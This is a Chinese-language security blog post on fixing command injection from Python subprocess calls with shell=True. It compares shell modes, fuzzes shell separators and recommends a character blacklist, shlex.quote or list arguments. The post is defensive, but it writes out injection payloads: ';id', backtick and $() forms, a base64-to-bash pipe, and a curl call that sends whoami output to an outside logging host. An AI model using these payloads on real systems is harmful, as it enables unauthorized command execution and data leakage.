【技术分享】修复Python任意命令执行漏洞

1  前言

今天遇到一个不好做白名单的Python命令执行漏洞修复的问题。由于是shell=True导致的任意命令执行，一开始大胆猜测将True改为False即可。经过测试确实是这样，但是参数需要放在list里，稍微有点麻烦。

后来考虑，还可以做黑名单，过滤掉特殊字符，那就写fuzz脚本跑那些需要过滤的字符。最后觉得黑名单方式可能会被绕过，就看官方文档，发现了一个牛逼的修复方法，利用shlex.quote()在命令的参数两边加上一对单引号。

 2  测试环境

• CentOS Linux release 7.3.1611 (Core)

• Python 2.7.5

本文在没有特殊描述环境下，都是在以上环境测试。

 3  shell值为True和False的区别

先来看看造成命令执行的代码

s=subprocess.Popen('id', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
print(s.communicate())   # 输出结果，并kill产生的新进程

当shell=True，并且第一个参数外部可控，那么就能造成任意命令执行。

3.1 shell为False

改为False，任意命令执行漏洞就会被修复。但确实是这样

>>> s=subprocess.Popen(["ls",";id"], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
>>> s.communicate()
('', 'ls: cannot access ;id: No such file or directory\n')

这样即使;id可控，也不能任意命令执行。

执行cat /etc/passwd，如果命令要跟参数，第一个参数必须是一个list。

>>> import subprocess
>>> s=subprocess.Popen(['cat', '/etc/passwd'], shell=False, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

此时，查看python的进程情况：

[root@sec ~]# ps -ef | grep 24593
root     24593 24536  0 11:28 pts/0    00:00:00 python
root     24594 24593  0 11:28 pts/0    00:00:00 [cat] <defunct>

可以看到python有一个子进程叫做(cat)。证明，shell=False是python作为父进程执行了cat这个bin文件，产生一个子进程。测试的时候，如果要kill刚产生的子进程，使用s.communicate()，并查看返回结果。

测试发现，当shell=True，并且subprocess.Popen的第一个参数为一个list时，python进程会被卡死。

import subprocess
s=subprocess.Popen('whoami | wc -l', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

可以看到，Python新建了一个叫sh的子进程，该进程执行了whoami | wc -l命令。继续执行python命令s.communicate()，刚产生的子进程就被kill了。

[root@sec ~]# ps -ef | grep 16323
root     16323 16256  0 14:20 pts/0    00:00:00 python
root     16379 16323  0 14:26 pts/0    00:00:00 [sh] <defunct>

所以，证明，当shell=True时，Python调用/bin/sh去执行命令。

但是有一个特例，当shell=True，执行一个没有任何参数的命令的情况和shell=False一样。说明，没有任何参数的命令，设置shell=True，并没有生效。

s=subprocess.Popen('whoami', shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)

再查看发现，python的子进程并没有sh，而是[[whoami] <defunct>]，所以证明了，没有任何参数的命令，设置shell=True，并没有新建一个bash去执行该命令。

[root@sec ~]# ps -ef | grep whoami
root     16200 15484  0 14:13 pts/0    00:00:00 [whoami] <defunct>
root     16203 11641  0 14:14 pts/1    00:00:00 grep --color=auto whoami

[root@sec ~]# ps -ef | grep 15484
root     15484 10092  0 12:24 pts/0    00:00:00 python
root     16200 15484  0 14:13 pts/0    00:00:00 [whoami] <defunct>

比较简单粗暴的可以理解为，True用/bin/sh执行，False是Python直接调用命令，而不会通过bash。

具体的细节区别：

• 当执行的命令没有参数时，无论是否设置shell=True，python直接执行该命令，而不是通过/bin/sh

• 当shell=True，并且命令存在参数时，python调用/bin/sh执行命令

• 当shell=True，并且subprocess.Popen的第一个参数为一个list时，python进程会被卡死

• 如果设置shell为False，并且想执行带参数的命令，第一个参数必须是一个list

 4  Linux命令执行绕过

现在有个目标是，利用ls xx来执行id命令，xx可控。fuzz后的结果：

ls | id
ls ; id
ls & id
ls 回车 id
ls `id`   
ls ` id`   前面加了一个空格
ls `\id`   反斜杠  i\d等价于id
ls $(id)  

下面这几种姿势是在网上的相关paper看到的，补充下，不过还是会利用| & ;等分割符。

ls | a=i;b=d;$a$b   拼接
ls | echo aWQ=| base64 -d | bash   利用base64
ls | curl test.joychou.org/`whoami`   利用dnslog或者http web log

 5  漏洞修复

所以看来，设置shell=False并不能修复命令执行，并且还会影响我们想执行的正常命令。

那就做特殊字符过滤吧。从上面的绕过姿势来看，需要过滤的字符总结如下：

ascii为10
;
|
&
`
$
\
(
)

fuzz的代码大概如下，如果有特殊需求，还需要酌情修改。

#coding: utf-8

import subprocess


def exec_cmd(cmd):
    p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    res_msg, res_err = p.communicate()
    res = res_msg + res_err
    return res


def main():
    for i in range(1, 256):
        cmd = 'echo 111 ' + chr(i) + ' id'
        if 'uid' in exec_cmd(cmd):
            print chr(i), i, cmd

    for i in range(32, 126): # 可见ascii码
        if chr(i) == 'u' or chr(i) == '|' or chr(i) == '&' or chr(i) == ';' or i == 10:
            continue
        for j in range(32, 126):
            cmd = 'echo 111 ' + chr(i) + 'id' + chr(j)  
            if 'uid' in exec_cmd(cmd):
                print chr(i), i, cmd


if __name__ == '__main__':
    main()

综上，检测代码：

def check_cmd_exec(input):
    '''
        * input为输入字符串
        * 检测到危险字符串，返回True，否则返回False
        * author: JoyChou
        * date:   2018-03-21
    '''
    res = ''
    blacklist = '`$\()&;|'

    for i, ch in enumerate(input):
        if ord(ch) == 10 or ch in blacklist:
            return True
    return False

不过，话说，有没有自带比较简单粗暴的过滤函数之类的？既能保证功能正常，也能保证安全性。

 6  官方修复

最后在官方文档上看到这样一个描述：

When using shell=True, pipes.quote() can be used to properly escape whitespace and shell metacharacters in strings that are going to be used to construct shell commands.

意思就是，用pipes.quote()过滤就好了。

不过，这个库已经被官方废弃了，官方推荐使用shlex.quote()。 其实pipes.quote()和shlex.quote()这两个功能一样，都是当参数有特殊字符时，在参数两边加上一对''。

>>> a = shlex.quote('xxaa~')
>>> a
"'xxaa~'"

>>> a = shlex.quote('xxaa')
>>> a
'xxaa'

避免命令的原理，看下这个实例就懂了。

>>> filename = 'somefile; whoami'
>>> command = 'ls -l {}'.format(quote(filename))
>>> print(command)
ls -l 'somefile; whoami'

需要注意，只能用在参数上。并且Python2没有shlex，但是Python2和3都有pipes，所以想都适配就用pipes。

 7  总结

推荐两种修复方式：

• shell=True，使用pipes.quote()对参数进行过滤

• shell=False，参数使用list。缺点是写参数时会稍微麻烦点

 8  Reference

• https://docs.python.org/2/library/subprocess.html

• https://docs.python.org/3/library/shlex.html

• 命令执行和绕过的一些小技巧[https://www.anquanke.com/post/id/84920]

@JoyChou博客链接：https://joychou.org